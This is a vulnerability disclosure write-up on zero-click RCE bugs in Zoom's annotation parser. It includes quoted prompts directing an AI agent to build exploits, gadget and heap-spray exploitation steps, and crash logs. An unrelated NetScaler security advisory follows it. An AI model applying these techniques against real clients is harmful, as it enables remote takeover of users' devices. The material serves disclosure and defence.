> B_uild_ the PDU that reaches it through normal parsing. No shortcuts - walk every field the parser expects: the factory type for the object, the flag bit that selects the text-frame body, the text-range header, then the oversized channel count and the overflow payload. Give me the byte layout, and deliver it over the real transport from one client to another. The victim's own parser does the work, no instrumentation on that side. > > ‍ > > RESULT
> ‍745-byte AddObj PDU: opcode 0x10001, object flags bit 3 (TextFrame), fourth channel count 0x100. Delivered from a viewer to the presenter over Zoom's own encrypted transport, with nothing attached to the victim:
> [F8] HIJACKED DocRequestDrawAck serialize -> emitted 745B F8 payload (cap 128B -> 745B)
> [drain] sub_F9DE4 ran
> •
> •
> XX-XX XX_:XX:XX.XXX_ 13845 13845 F libc : stack corruption detected (-fstack-protector)

CVE-2026-53413 : The overwrite:

Both bugs live in the same place: the text annotation. It is a nested object in the protocol, and that is what makes it the richest target.

A text annotation is built in four layers and the receiver rebuilds every one of them from the wire. The CAnnoObj starts with the header which holds a flag bit that describes the object type, value 3 means "this object has a text body" and the parser follows it into a CAnnoTextFrame.

The text frame holds a list of CAnnoTextRange items — one per styled run of text. Each run carries its characters and its formatting, and the formatting lives in a CAnnoFormatBlock: a small header followed by four fixed 128-byte buffers, each holding a UTF-16 string such as a font name. 128 bytes is 64 characters. The wire supplies a character count per buffer, and the parser copies 2 × count bytes into it.

A run can hold a format block in either of two places. Normally it is a member of the range itself, and the range is a 704-byte local variable inside the text frame's deserializer — so it lives on the stack. But a run can also declare an extension: a single gate byte on the wire that, when non-zero, makes the receiver allocate a separate 592-byte child object on the heap, carrying its own format block.

Each count is a 32-bit value taken straight off the wire, and each buffer is a fixed 128 bytes. There is no bounds check to stop a count from exceeding the buffer length. The 4th buffer is the last buffer, so an oversized fourth count writes past the end of whatever object holds it: the 704-byte range on the stack, or the 592-byte child on the heap.

Stream_Read - this function is the write primitve that gets the wire input stream, the dst buffer and the wire size and copy to the buffer :

CAnnoTextFrame::Deserialize

CAnnoFormatBlock : buf4 is the last field, so an oversized count4 runs off the end of the object:

CAnnoExtBlock , CAnnoExtChild deserializers (the object allocation on the heap):

CVE-2026-53414 : The over-read:

A separate bug - the glyph buffer is allocated from a wire count but filled from the packet: the receiver reads a character count, allocates 2 × count + 2 bytes without zeroing them, then copies in however many bytes actually arrived. Send a large count with a short body and the untouched tail is live receiver heap, with a terminating NUL written only at the far end. Confirmed live on the victim's own client. One captured slab held live code and vtable pointers from a single loaded library, alongside resource strings and rendering data - module-base material of exactly the kind an ASLR bypass needs.

Exploitation: Achieving RCE on MacOS

> **PROMPT
> **I control PC, X19–X28, X29/X30, and a contiguous stack, with no PAC or canary on this bundle. Find a one-shot shared-cache gadget that turns my controlled registers into a real call with an argument I control. Then prove it executes to completion with a visible effect on the victim, not just a crash or a hung branch

The macOS annoter bundle ships as plain arm64 with neither PAC nor stack canary.
So the overflow runs clean into the function's epilogue, which restores a batch of registers from the stack and then returns wherever the stack points.
We just overwrote that stack region, so it restores our values and jumps to our address.
One PDU hands us the program counter (PC) plus the callee-saved registers X19-X28 and the frame/link pair X29/X30, every one of them loaded straight from our overflow bytes. That is complete control.

With no PAC to authenticate anything, we don't need a complex exploit. We can just point the return address (X30/LR) at one ready-made instruction sequence (a "gadget") in the system's shared library cache, and let the epilogue pre-load the argument registers for us.
The overwrite plants three things, each landing in the register the gadget uses:

Register	What we plant	What it does
LR (X30)	gadget: MOV X0,X19; MOV X1,X21; BL execvp	redirects into execvp
X19	/Applications/Safari.app/Contents/MacOS/Safari	becomes arg 1 — what to run
X21	the argument list {path, NULL}	becomes arg 2 — how to run it

Because we control X19 and X21 directly, the gadget just copies them into X0/X1 and calls, no need to find the values anywhere else. The gadget, the path string, and the argument list all live in the same shared cache. macOS shifts that cache by a random amount each boot (ASLR), but shifts it as one block so a single leaked pointer rebases all three at once.

On the hijacked return, execvp("…/Safari", argv) runs and the victim's zoom.us process is replaced by the launched app. Fired live against a real target, it popped Safari open on the victim's Mac.

Leak-free control-flow hijack via heap shaping on Android

> **PROMPT
> **My overflow now runs off a heap chunk in a fixed size class instead of the stack.
> I have no address knowledge though. can I get control purely through heap shaping, no leak? Spray the same size class to place an object I control adjacent to the overflow source, then corrupt only the low byte of its vtable pointer so the virtual call retargets to an offset inside the module regardless of ASLR slide. Find the un-gated op that fires that vcall, and prove it hijacks PC on an uninstrumented victim from the tombstone alone — layout doing the work an info-leak normally would.

An alternative path to leveraging the over-read vulnerability is a classic heap spray.
By spraying arbitrary data objects and partially corrupting their vtable pointers using the heap overflow primitive an attacker can gain controlled code execution.

The same overflow, using the heap version ExtChild (new(0x250), the 592-byte size class), gives us a controlled write past the end of a chunk. This can lead to code execution but requires some shaping.

Shape the heap first. Every ExtChild lands in the same 592-byte size class, so spraying them over AddObj lays them out back-to-back. This lets us place an object we control directly after our overflow source. Now the overflow doesn't spill into whatever happened to be there; it spills into a neighbor whose layout we know exactly. We size it to reach just the neighbor's first field: its C++ vtable pointer.

We can partially overwrite the pointer as our overflow is controlled. A vtable's low bytes are fixed relative to the module base no matter where ASLR loaded the module, so a partial overwrite retargets the virtual call to a chosen offset inside the module with zero address knowledge.

Triggering the bug. The corrupted pointer dispatches through an un-gated teardown path: normal wire ops (RemoveObj / ModifyObj) run a destructor that calls through the child's vtable. It triggers on any participant, viewer or presenter.

Demo Video

CVE-2026-53415

The Sequel - A Second, Independent RCE

Our work on Zoom's annotation engine didn't end with the first bug. The same AI-assisted research surfaced a second, independent flaw in the very same engine.
Zoom's parser handles a message type internally numbered 75 - an "auto-shape" metadata object (CAnnoObjAutoMetaShape) - by reading attacker-supplied bytes directly into an internal linked-list structure and then unlinking that list, without ever validating the pointers it was handed. Lidor Elias identified and triaged this bug.
The result is a write-what-where primitive: the attacker controls both the value written and the address where it lands, providing a potential path to remote code execution. When shared the bug upon triage, Zoom already knew about it and had deployed a server-side mitigation that filters malicious messages (both to this CVE and the previous) before it reaches clients, but that defense carries the same gap as before: it cannot apply to end-to-end encrypted (E2EE) meetings, where the server is deliberately blind to call content. On E2EE calls, the crafted message passed through untouched and the vulnerability remained fully exploitable. Zoom closed it properly on the client side in version 7.1.5.

Disclosure

Ⓐ Research identified this vulnerability on June 8, 2026, and confirmed a working zero-click RCE against Zoom Client v7.0.5 across all platforms the following day. We reported it to Zoom on June 10, and Zoom acknowledged receipt within a day. Their response was fast and thorough: a client-side fix shipped in v7.1.0 just twelve days after our report, and Zoom followed up with a server-side mitigation on July 15 to protect users still running earlier client versions before they could update.

Because a zero-click RCE requires no user interaction, we prioritized giving customers time to receive both the client patch and the server-side mitigation before publishing. This post follows that coordinated timeline, and we are releasing it alongside CVE assignment.

2026-06-08 - Ⓐ Research discovers the Zoom annotation memory-corruption vulnerability.

2026-06-09 - Zero-click RCE confirmed on Zoom client v7.0.5 (all platforms).

2026-06-10 - Ⓐ Research reports the vulnerability to Zoom.

2026-06-11 - Zoom acknowledges receipt.

2026-06-22 - Zoom deploys client-side fix in v7.1.0 including patch for CVE-2026-53413,CVE-2026-53414.

2026-07-15 - Zoom deploys server-side mitigation for earlier versions.

2026-07-20 - Zoom deploys client-side fix in v7.1.5 including patch for CVE-2026-53415.

2026-08-11 - Public disclosure.

Guidance for Mitigation

Zoom's bulletin ZSB-26015, ZSB-26016 & ZSB-26017 lists the affected products:

• Zoom Workplace, all supported platforms, before version 7.1.5 and 7.0.6 in their respective branches
• Zoom Workplace VDI Client for Windows, before versions 7.0.11 and 6.6.16 in their respective branches
• Zoom Rooms, all supported platforms, before version 7.1.0
• Zoom Meeting SDK, all supported platforms, before version 7.1.0

Updating closes these CVEs. Until every client is updated, you can disable the end-to-end encryption setting. Since Zoom's server-side mitigation, malicious annotation messages are filtered before they reach clients, and enhanced encryption, Zoom's default, leaves that filter in place. E2EE removes it, because a server cannot inspect what it cannot read. E2EE would not have stopped this attack anyway: the attacker sits in the meeting, holding the keys. It has its own uses, just not this one.

Disable end-to-end encryption to protect older, vulnerable clients

Beyond this vulnerability, prepare for the next one, because there will be a next one and not necessarily in Zoom. Every endpoint runs software that parses bytes chosen by outsiders, and you cannot audit any of it.

The first obvious action is to patch fast: a published patch is a map to the bug, so the risk to an unpatched fleet rises the moment a fix ships, and that gap could run to months. In Zoom you can set a per-platform minimum version, for guests as well as staff. But patching is not enough, because your exposure starts when someone finds the bug, not when the vendor hears of it, and exploits of this class are now cheap to produce.

Hence, reducing the attack surface is just as important, both who can reach you and what they reach. This exploit needed only presence in the meeting, so joining rules are access control: waiting rooms, passcodes, authenticated-users-only, no published personal meeting link. Then cut what nobody uses, because every optional feature is another parser. In Zoom, consider locking annotation, file transfer, whiteboarding, remote control and third-party apps, and limiting screen sharing to hosts. Beyond settings, consider the client itself: Zoom's browser client has no annotation or whiteboarding at all, and what it does run is sandboxed; and where compromise is least acceptable, keep such software off the endpoint and join from a separate device or VDI.

Some attacks will land anyway, so endpoint protection platforms (EPP/EDR) are what stop the next step and tell you it happened. Code running inside these applications inherits their permissions, which in a conferencing client means camera, microphone and screen recording. A meeting client has no reason to launch a browser, a shell or a script interpreter, so block it where you can and alert on it everywhere; our exploit made zoom.us open Safari. Collect client crash reports centrally too, because failed attempts crash long before a working one lands.

‍

Conclusion & Impact analysis

One malformed annotation, drawn by anyone in the call, was enough to take over every other device in the room. The same source compiles into the Windows, macOS, iOS, and Android clients.

But the vulnerability is not the story. The story is what it cost to find it.

This is closed-source enterprise software with no published protocol, the class of target defenders assume is safe because it is large, scrutinized, and opaque.
Producing a working exploit against it has always been nation-state work: elite teams, months of effort, budgets that governments regulate as weapons.
Ⓐ did it in a single day, with an AI agent and models anyone can access today.

That is the shift security leaders have to price in. The barrier that kept these weapons scarce has collapsed, and it will not come back. Attackers already have this capability.

The only open question is whether defenders reach their own exposures first. The durable response is to turn the same offensive capability inward and run it against your own environment continuously, before someone else does.

‍

Credits

The author gratefully acknowledges Iliya Fayans and Lidor Elias for their contributions to this research.

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Related vulnerabilities: CVE-2026-53413CVE-2026-53415CVE-2026-53414

Ref: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939

Severity of Bulletin: Critical

Description of Problem

Multiple vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.

Affected Versions:

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities: 

• NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-73.32

• NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.21

• NetScaler ADC FIPS BEFORE 14.1-73.32 FIPS

• NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.277

Additional Note: Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities. 

This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades the Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities mentioned below

CVE-ID 

Description

Pre-conditions

CWE

CVSSv4

CVE-2026-19489

Memory overflow vulnerability leading to unpredictable behavior or Denial of Service

SIP ALG(Session Initiation Protocol Application Layer Gateway) should be enabled on a Large Scale NAT (LSN) group configuration. 

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

CVSS v4.0 Base Score: 8.8

(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/

VC:L/VI:L/VA:H/SC:N/SI:N/SA:L)

CVE-2026-19490

Authentication bypass using an alternate path

The appliance must be configured as a Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server, subject to the following version-specific requirements:

• 14.1-43.56 or later: Applicable only when configured with a SAML action
  AND NetScaler is configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver

• 14.1-66.68-FIPS or later: Applicable only when configured with a SAML action AND NetScaler is configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver

• 14.1-43.55 or earlier: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy ) or AAA vserver

• 13.1-61.28 or later: Applicable only when configured with a SAML action.

• 13.1-61.27 or earlier: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy)  or AAA vserver

• 13.1 FIPS: Applicable when configured with Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA vserver.

CWE-288: Authentication Bypass Using an Alternate Path 

CVSS v4.0 Base Score: 9.3

(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/

VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)

What Customers Should Do

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible. 

• NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

• NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

• NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

• NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

Steps to determine if an appliance meets the CVE preconditions

For CVE-2026-19489:

Customers can determine if the appliance meets the precondition by inspecting their NetScaler configuration for the specified string:

• "​add lsn group.*sipalg.*" 

For CVE-2026-19490: 

Customers can determine if the appliance meets the precondition by inspecting their NetScaler configuration for the specified string:

SAML action configuration

• "add authentication samlAction.*"

Auth or VPN vserver

• "add authentication vserver .*"

Or 

• "add vpn vserver .*"

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Related vulnerabilities: CVE-2026-19489CVE-2026-19490